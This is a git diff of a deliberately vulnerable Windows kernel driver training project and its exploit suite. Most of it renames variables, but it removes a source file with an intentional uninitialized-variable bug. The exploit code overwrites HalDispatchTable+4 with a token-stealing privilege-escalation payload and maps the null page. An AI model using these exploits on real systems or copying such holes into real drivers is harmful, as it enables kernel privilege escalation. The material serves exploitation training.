diff --git a/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.pdb b/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.pdb index 99d3b48..a94343a 100644 Binary files a/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.pdb and b/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.pdb differ diff --git a/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.sys b/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.sys index 3f90c6b..25e85d3 100644 Binary files a/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.sys and b/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.sys differ diff --git a/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.pdb b/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.pdb index f621ff6..00286e7 100644 Binary files a/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.pdb and b/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.pdb differ diff --git a/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.sys b/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.sys index 557e46f..caf2361 100644 Binary files a/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.sys and b/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.sys differ diff --git a/Driver/Source/HackSysExtremeVulnerableDriver.h b/Driver/Source/HackSysExtremeVulnerableDriver.h index 26247cf..348cb67 100644 --- a/Driver/Source/HackSysExtremeVulnerableDriver.h +++ b/Driver/Source/HackSysExtremeVulnerableDriver.h @@ -64,9 +64,9 @@ Abstract: #define HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80a, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80b, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80c, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS) #define BANNER \ (" \n" \ diff --git a/Driver/Source/UninitializedVariable.c b/Driver/Source/UninitializedVariable.c deleted file mode 100644 index 5290ab7..0000000 --- a/Driver/Source/UninitializedVariable.c +++ /dev/null @@ -1,153 +0,0 @@ -/*++ - - ## ## ######## ## ## ######## - ## ## ## ## ## ## ## - ## ## ## ## ## ## ## - ######### ###### ## ## ## ## - ## ## ## ## ## ## ## - ## ## ## ## ## ## ## - ## ## ######## ### ######## - - HackSys Extreme Vulnerable Driver - -Author : Ashfaq Ansari -Contact: ashfaq[at]payatu[dot]com -Website: http://www.payatu.com/ - -Copyright (C) 2011-2016 Payatu Technologies Pvt. Ltd. All rights reserved. - -This program is free software: you can redistribute it and/or modify it under the terms of -the GNU General Public License as published by the Free Software Foundation, either version -3 of the License, or (at your option) any later version. - -This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; -without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. -See the GNU General Public License for more details. - -You should have received a copy of the GNU General Public License along with this program. -If not, see . - -THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, -INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF -THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -See the file 'LICENSE' for complete copying permission. - -Module Name: - UninitializedVariable.c - -Abstract: - This module implements the functions to demonstrate - use of Uninitialized Variable vulnerability. - ---*/ - -#include "UninitializedVariable.h" - -#ifdef ALLOC_PRAGMA - #pragma alloc_text(PAGE, TriggerUninitializedVariable) - #pragma alloc_text(PAGE, UninitializedVariableIoctlHandler) - #pragma alloc_text(PAGE, UninitializedVariableObjectCallback) -#endif // ALLOC_PRAGMA - -#pragma auto_inline(off) - -/// -/// Uninitialized Variable Object Callback -/// -VOID UninitializedVariableObjectCallback() { - PAGED_CODE(); - - DbgPrint("[+] Uninitialized Variable Object Callback called\n"); -} - -/// -/// Trigger the Uninitialized Variable Vulnerability -/// -/// The pointer to user mode buffer -/// NTSTATUS -NTSTATUS TriggerUninitializedVariable(IN PVOID UserBuffer) { - ULONG UserValue = 0; - ULONG MagicValue = 0xBAD0B0B0; - NTSTATUS Status = STATUS_SUCCESS; - -#ifdef SECURE - // Secure Note: This is secure because the developer is properly initializing - // UNINITIALIZED_VARIABLE to NULL and checks for NULL pointer before calling - // the callback - UNINITIALIZED_VARIABLE UninitializedVariable = {0}; -#else - // Vulnerability Note: This is a vanilla Uninitialized Variable vulnerability - // because the developer is not initializing 'UNINITIALIZED_VARIABLE' structure - // before calling the callback when 'MagicValue' does not match 'UserValue' - UNINITIALIZED_VARIABLE UninitializedVariable; -#endif - - PAGED_CODE(); - - __try { - // Verify if the buffer resides in user mode - ProbeForRead(UserBuffer, - sizeof(UNINITIALIZED_VARIABLE), - (ULONG)__alignof(UNINITIALIZED_VARIABLE)); - - // Get the value from user mode - UserValue = *(PULONG)UserBuffer; - - DbgPrint("[+] UserValue: 0x%p\n", UserValue); - DbgPrint("[+] UninitializedVariable Address: 0x%p\n", &UninitializedVariable); - - // Validate the magic value - if (UserValue == MagicValue) { - UninitializedVariable.Value = UserValue; - UninitializedVariable.Callback = &UninitializedVariableObjectCallback; - } - - DbgPrint("[+] UninitializedVariable.Value: 0x%p\n", UninitializedVariable.Value); - DbgPrint("[+] UninitializedVariable.Callback: 0x%p\n", UninitializedVariable.Callback); - -#ifndef SECURE - DbgPrint("[+] Triggering Uninitialized Variable Vulnerability\n"); -#endif - - // Call the callback function - if (UninitializedVariable.Callback) { - UninitializedVariable.Callback(); - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - Status = GetExceptionCode(); - DbgPrint("[-] Exception Code: 0x%X\n", Status); - } - - return Status; -} - -/// -/// Uninitialized Variable Ioctl Handler -/// -/// The pointer to IRP -/// The pointer to IO_STACK_LOCATION structure -/// NTSTATUS -NTSTATUS UninitializedVariableIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) { - PVOID UserBuffer = NULL; - NTSTATUS Status = STATUS_UNSUCCESSFUL; - - UNREFERENCED_PARAMETER(Irp); - PAGED_CODE(); - - UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; - - if (UserBuffer) { - Status = TriggerUninitializedVariable(UserBuffer); - } - - return Status; -} - -#pragma auto_inline() diff --git a/Exploit/Complied/HackSysEVDExploit.exe b/Exploit/Complied/HackSysEVDExploit.exe index 4a787c3..e3ddee9 100644 Binary files a/Exploit/Complied/HackSysEVDExploit.exe and b/Exploit/Complied/HackSysEVDExploit.exe differ diff --git a/Exploit/Complied/HackSysEVDExploit.pdb b/Exploit/Complied/HackSysEVDExploit.pdb index bd4f507..aa79ad1 100644 Binary files a/Exploit/Complied/HackSysEVDExploit.pdb and b/Exploit/Complied/HackSysEVDExploit.pdb differ diff --git a/Exploit/Source/ArbitraryOverwrite.c b/Exploit/Source/ArbitraryOverwrite.c index 8a10426..95ed6ab 100644 --- a/Exploit/Source/ArbitraryOverwrite.c +++ b/Exploit/Source/ArbitraryOverwrite.c @@ -50,16 +50,16 @@ Abstract: #include "ArbitraryOverwrite.h" -DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) { - ULONG interval = 0; - ULONG bytesReturned; +DWORD WINAPI ArbitraryOverwriteThread(LPVOID Parameter) { + ULONG Interval = 0; + ULONG BytesReturned; HANDLE hFile = NULL; HMODULE hNtDll = NULL; - PVOID pHalDispatchTable = NULL; - PVOID pHalDispatchTablePlus4 = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PWRITE_WHAT_WHERE pWriteWhatWhere = NULL; - PVOID pEopPayload = &TokenStealingPayloadWin7Generic; + PVOID HalDispatchTable = NULL; + PVOID HalDispatchTablePlus4 = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PWRITE_WHAT_WHERE WriteWhatWhere = NULL; + PVOID EopPayload = &TokenStealingPayloadWin7Generic; __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -73,9 +73,9 @@ DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -90,43 +90,43 @@ DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For WRITE_WHAT_WHERE Structure\n"); // Allocate the Heap chunk - pWriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - sizeof(WRITE_WHAT_WHERE)); + WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + sizeof(WRITE_WHAT_WHERE)); - if (!pWriteWhatWhere) { + if (!WriteWhatWhere) { DEBUG_ERROR("\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pWriteWhatWhere); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", WriteWhatWhere); DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE)); } DEBUG_INFO("\t\t[+] Gathering Information About Kernel\n"); - pHalDispatchTable = GetHalDispatchTable(); + HalDispatchTable = GetHalDispatchTable(); - if (!pHalDispatchTable) { + if (!HalDispatchTable) { DEBUG_ERROR("\t\t[-] Failed Gathering Information: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - pHalDispatchTablePlus4 = (PVOID)((ULONG)pHalDispatchTable + sizeof(PVOID)); + HalDispatchTablePlus4 = (PVOID)((ULONG)HalDispatchTable + sizeof(PVOID)); - DEBUG_INFO("\t\t\t[+] HalDispatchTable+0x4: 0x%p\n", pHalDispatchTablePlus4); + DEBUG_INFO("\t\t\t[+] HalDispatchTable+0x4: 0x%p\n", HalDispatchTablePlus4); } DEBUG_INFO("\t\t[+] Preparing WRITE_WHAT_WHERE structure\n"); - pWriteWhatWhere->What = (PULONG)&pEopPayload; - pWriteWhatWhere->Where = (PULONG)pHalDispatchTablePlus4; + WriteWhatWhere->What = (PULONG)&EopPayload; + WriteWhatWhere->Where = (PULONG)HalDispatchTablePlus4; - DEBUG_INFO("\t\t\t[+] pWriteWhatWhere: 0x%p\n", pWriteWhatWhere); - DEBUG_INFO("\t\t\t[+] pWriteWhatWhere->What: 0x%p\n", pWriteWhatWhere->What); - DEBUG_INFO("\t\t\t[+] pWriteWhatWhere->Where: 0x%p\n", pWriteWhatWhere->Where); + DEBUG_INFO("\t\t\t[+] WriteWhatWhere: 0x%p\n", WriteWhatWhere); + DEBUG_INFO("\t\t\t[+] WriteWhatWhere->What: 0x%p\n", WriteWhatWhere->What); + DEBUG_INFO("\t\t\t[+] WriteWhatWhere->Where: 0x%p\n", WriteWhatWhere->Where); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Arbitrary Memory Overwrite\n"); @@ -134,11 +134,11 @@ DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE, - (LPVOID)pWriteWhatWhere, + (LPVOID)WriteWhatWhere, sizeof(WRITE_WHAT_WHERE), NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); @@ -159,9 +159,11 @@ DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) { exit(EXIT_FAILURE); } - NtQueryIntervalProfile(0x1337, &interval); + NtQueryIntervalProfile(0x1337, &Interval); - HeapFree(GetProcessHeap(), 0, (LPVOID)pWriteWhatWhere); + HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere); + + WriteWhatWhere = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/ArbitraryOverwrite.h b/Exploit/Source/ArbitraryOverwrite.h index 160cabd..aeca151 100644 --- a/Exploit/Source/ArbitraryOverwrite.h +++ b/Exploit/Source/ArbitraryOverwrite.h @@ -60,6 +60,6 @@ Abstract: PULONG Where; } WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE; - DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter); + DWORD WINAPI ArbitraryOverwriteThread(LPVOID Parameter); #endif //__ARBITRARY_OVERWRITE_H__ diff --git a/Exploit/Source/Common.c b/Exploit/Source/Common.c index 56f5c95..5d4d92e 100644 --- a/Exploit/Source/Common.c +++ b/Exploit/Source/Common.c @@ -55,67 +55,67 @@ VOID ClearScreen() // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682022(v=vs.85).aspx // - DWORD dwConSize; + DWORD ConSize; HANDLE hConsole; - DWORD cCharsWritten; - COORD coordScreen = {0, 0}; - CONSOLE_SCREEN_BUFFER_INFO csbi; + DWORD CharsWritten; + COORD CoordScreen = {0, 0}; + CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo; hConsole = GetStdHandle(STD_OUTPUT_HANDLE); - if (!GetConsoleScreenBufferInfo(hConsole, &csbi)) { + if (!GetConsoleScreenBufferInfo(hConsole, &ConsoleScreenBufferInfo)) { return; } - dwConSize = csbi.dwSize.X * csbi.dwSize.Y; + ConSize = ConsoleScreenBufferInfo.dwSize.X * ConsoleScreenBufferInfo.dwSize.Y; if (!FillConsoleOutputCharacter(hConsole, (TCHAR)' ', - dwConSize, - coordScreen, - &cCharsWritten )) { + ConSize, + CoordScreen, + &CharsWritten )) { return; } - if (!GetConsoleScreenBufferInfo(hConsole, &csbi)) { + if (!GetConsoleScreenBufferInfo(hConsole, &ConsoleScreenBufferInfo)) { return; } if (!FillConsoleOutputAttribute(hConsole, - csbi.wAttributes, - dwConSize, - coordScreen, - &cCharsWritten)) { + ConsoleScreenBufferInfo.wAttributes, + ConSize, + CoordScreen, + &CharsWritten)) { return; } - SetConsoleCursorPosition(hConsole, coordScreen); + SetConsoleCursorPosition(hConsole, CoordScreen); } VOID ColoredConsoleOuput(WORD wColor, CONST PTCHAR fmt, ...) { - SIZE_T length = 0; - PTCHAR debugString; + SIZE_T Length = 0; + PTCHAR DebugString; va_list args = NULL; HANDLE hConsoleOutput; - WORD wCurrentAttributes; - CONSOLE_SCREEN_BUFFER_INFO consoleScreenBufferInfo; + WORD CurrentAttributes; + CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo; va_start(args, fmt); - length = _vscprintf(fmt, args) + 2; - debugString = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length * sizeof(TCHAR)); + Length = _vscprintf(fmt, args) + 2; + DebugString = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Length * sizeof(TCHAR)); hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE); - GetConsoleScreenBufferInfo(hConsoleOutput, &consoleScreenBufferInfo); - wCurrentAttributes = consoleScreenBufferInfo.wAttributes; + GetConsoleScreenBufferInfo(hConsoleOutput, &ConsoleScreenBufferInfo); + CurrentAttributes = ConsoleScreenBufferInfo.wAttributes; SetConsoleTextAttribute(hConsoleOutput, FOREGROUND_INTENSITY | wColor); vfprintf(stderr, fmt, args); - vsprintf_s(debugString, length, fmt, args); - OutputDebugString(debugString); + vsprintf_s(DebugString, Length, fmt, args); + OutputDebugString(DebugString); - SetConsoleTextAttribute(hConsoleOutput, wCurrentAttributes); + SetConsoleTextAttribute(hConsoleOutput, CurrentAttributes); va_end(args); - HeapFree(GetProcessHeap(), 0, (LPVOID)debugString); + HeapFree(GetProcessHeap(), 0, (LPVOID)DebugString); } VOID CenterConsoleScreen() { @@ -125,10 +125,10 @@ VOID CenterConsoleScreen() { MoveWindow(hConsoleWindow, xPos, yPos, 700, 600, TRUE); } -HANDLE GetDeviceHandle(LPCSTR lpFileName) { +HANDLE GetDeviceHandle(LPCSTR FileName) { HANDLE hFile = NULL; - hFile = CreateFile(lpFileName, + hFile = CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, @@ -139,11 +139,11 @@ HANDLE GetDeviceHandle(LPCSTR lpFileName) { return hFile; } -DWORD GetProcessID(LPCSTR processName) { - ULONG processID = 0; +DWORD GetProcessID(LPCSTR ProcessName) { + ULONG ProcessID = 0; HANDLE hProcessSnapshot = NULL; - PROCESSENTRY32 processEntry32 = {0}; - processEntry32.dwSize = sizeof(PROCESSENTRY32); + PROCESSENTRY32 ProcessEntry32 = {0}; + ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); // Create the snapshot of all processes hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); @@ -153,31 +153,31 @@ DWORD GetProcessID(LPCSTR processName) { exit(EXIT_FAILURE); } - if (!Process32First(hProcessSnapshot, &processEntry32)) { + if (!Process32First(hProcessSnapshot, &ProcessEntry32)) { DEBUG_ERROR("\t\t[-] Failed To Get Info About First Process: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } do { - if (strcmp(processName, processEntry32.szExeFile) == 0) { - processID = processEntry32.th32ProcessID; + if (strcmp(ProcessName, ProcessEntry32.szExeFile) == 0) { + ProcessID = ProcessEntry32.th32ProcessID; break; } - } while (Process32Next(hProcessSnapshot, &processEntry32)); + } while (Process32Next(hProcessSnapshot, &ProcessEntry32)); CloseHandle(hProcessSnapshot); - return processID; + return ProcessID; } PVOID GetHalDispatchTable() { - PCHAR kernelImage; - NTSTATUS ntStatus; - SIZE_T returnLength; + PCHAR KernelImage; + SIZE_T ReturnLength; HMODULE hNtDll = NULL; - PVOID pHalDispatchTable = 0; + PVOID HalDispatchTable = NULL; HMODULE hKernelInUserMode = NULL; - PVOID pKernelBaseAddressInKernelMode; + PVOID KernelBaseAddressInKernelMode; + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; PSYSTEM_MODULE_INFORMATION pSystemModuleInformation; hNtDll = LoadLibrary("ntdll.dll"); @@ -194,34 +194,34 @@ PVOID GetHalDispatchTable() { exit(EXIT_FAILURE); } - ntStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &returnLength); + NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength); // Allocate the Heap chunk pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, - returnLength); + ReturnLength); if (!pSystemModuleInformation) { DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } - ntStatus = NtQuerySystemInformation(SystemModuleInformation, + NtStatus = NtQuerySystemInformation(SystemModuleInformation, pSystemModuleInformation, - returnLength, - &returnLength); + ReturnLength, + &ReturnLength); - if (ntStatus != STATUS_SUCCESS) { + if (NtStatus != STATUS_SUCCESS) { DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } - pKernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base; - kernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1; + KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base; + KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1; - DEBUG_INFO("\t\t\t[+] Loaded Kernel: %s\n", kernelImage); - DEBUG_INFO("\t\t\t[+] Kernel Base Address: 0x%p\n", pKernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] Loaded Kernel: %s\n", KernelImage); + DEBUG_INFO("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode); - hKernelInUserMode = LoadLibraryA(kernelImage); + hKernelInUserMode = LoadLibraryA(KernelImage); if (!hKernelInUserMode) { DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError()); @@ -229,34 +229,46 @@ PVOID GetHalDispatchTable() { } // This is still in user mode - pHalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable"); + HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable"); - if (!pHalDispatchTable) { + if (!HalDispatchTable) { DEBUG_ERROR("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hKernelInUserMode); + HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)hKernelInUserMode); // Here we get the address of HapDispatchTable in Kernel mode - pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pKernelBaseAddressInKernelMode); + HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)KernelBaseAddressInKernelMode); - DEBUG_INFO("\t\t\t[+] HalDispatchTable: 0x%p\n", pHalDispatchTable); + DEBUG_INFO("\t\t\t[+] HalDispatchTable: 0x%p\n", HalDispatchTable); } HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation); - return pHalDispatchTable; + if (hNtDll) { + FreeLibrary(hNtDll); + } + + if (hKernelInUserMode) { + FreeLibrary(hKernelInUserMode); + } + + hNtDll = NULL; + hKernelInUserMode = NULL; + pSystemModuleInformation = NULL; + + return HalDispatchTable; } BOOL MapNullPage() { HMODULE hNtdll; - PVOID baseAddress = (PVOID)0x00000001; // will be rounded down to the next host - // page size address boundary -> 0x00000000 - - SIZE_T regionSize = 0x1000; // will be rounded up to the next host + SIZE_T RegionSize = 0x1000; // will be rounded up to the next host // page size address boundary -> 0x2000 - NTSTATUS ntStatus; + + PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host + // page size address boundary -> 0x00000000 + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hNtdll = GetModuleHandle("ntdll.dll"); @@ -269,15 +281,20 @@ BOOL MapNullPage() { } // Allocate the Virtual memory - ntStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, &baseAddress, 0, ®ionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); + NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, + &BaseAddress, + 0, + &RegionSize, + MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, + PAGE_EXECUTE_READWRITE); - if (ntStatus != STATUS_SUCCESS) { - DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", ntStatus); + if (NtStatus != STATUS_SUCCESS) { + DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", baseAddress); - DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", regionSize); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress); + DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize); } FreeLibrary(hNtdll); diff --git a/Exploit/Source/Common.h b/Exploit/Source/Common.h index d8b6cf4..dc33513 100644 --- a/Exploit/Source/Common.h +++ b/Exploit/Source/Common.h @@ -66,35 +66,50 @@ Abstract: #include "StackOverflowGS.h" #include "IntegerOverflow.h" #include "ArbitraryOverwrite.h" - #include "UninitializedVariable.h" #include "NullPointerDereference.h" + #include "UninitializedHeapVariable.h" + #include "UninitializedStackVariable.h" #define BUFFER_SIZE 512 - #define IO_COMPLETION_OBJECT 1 #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) #define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver" + #define InitializeObjectAttributes( i, o, a, r, s ) {\ + (i)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (i)->RootDirectory = r; \ + (i)->Attributes = a; \ + (i)->ObjectName = o; \ + (i)->SecurityDescriptor = s; \ + (i)->SecurityQualityOfService = NULL; \ + } + #define DEBUG_INFO(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_BLUE, fmt, ##__VA_ARGS__); } while (0) #define DEBUG_ERROR(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_RED, fmt, ##__VA_ARGS__); } while (0) #define DEBUG_SUCCESS(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_GREEN, fmt, ##__VA_ARGS__); } while (0) #define DEBUG_MESSAGE(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_GREEN, fmt, ##__VA_ARGS__); } while (0) - #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_CREATE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80a, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_UNINITIALIZED_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80b, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) + 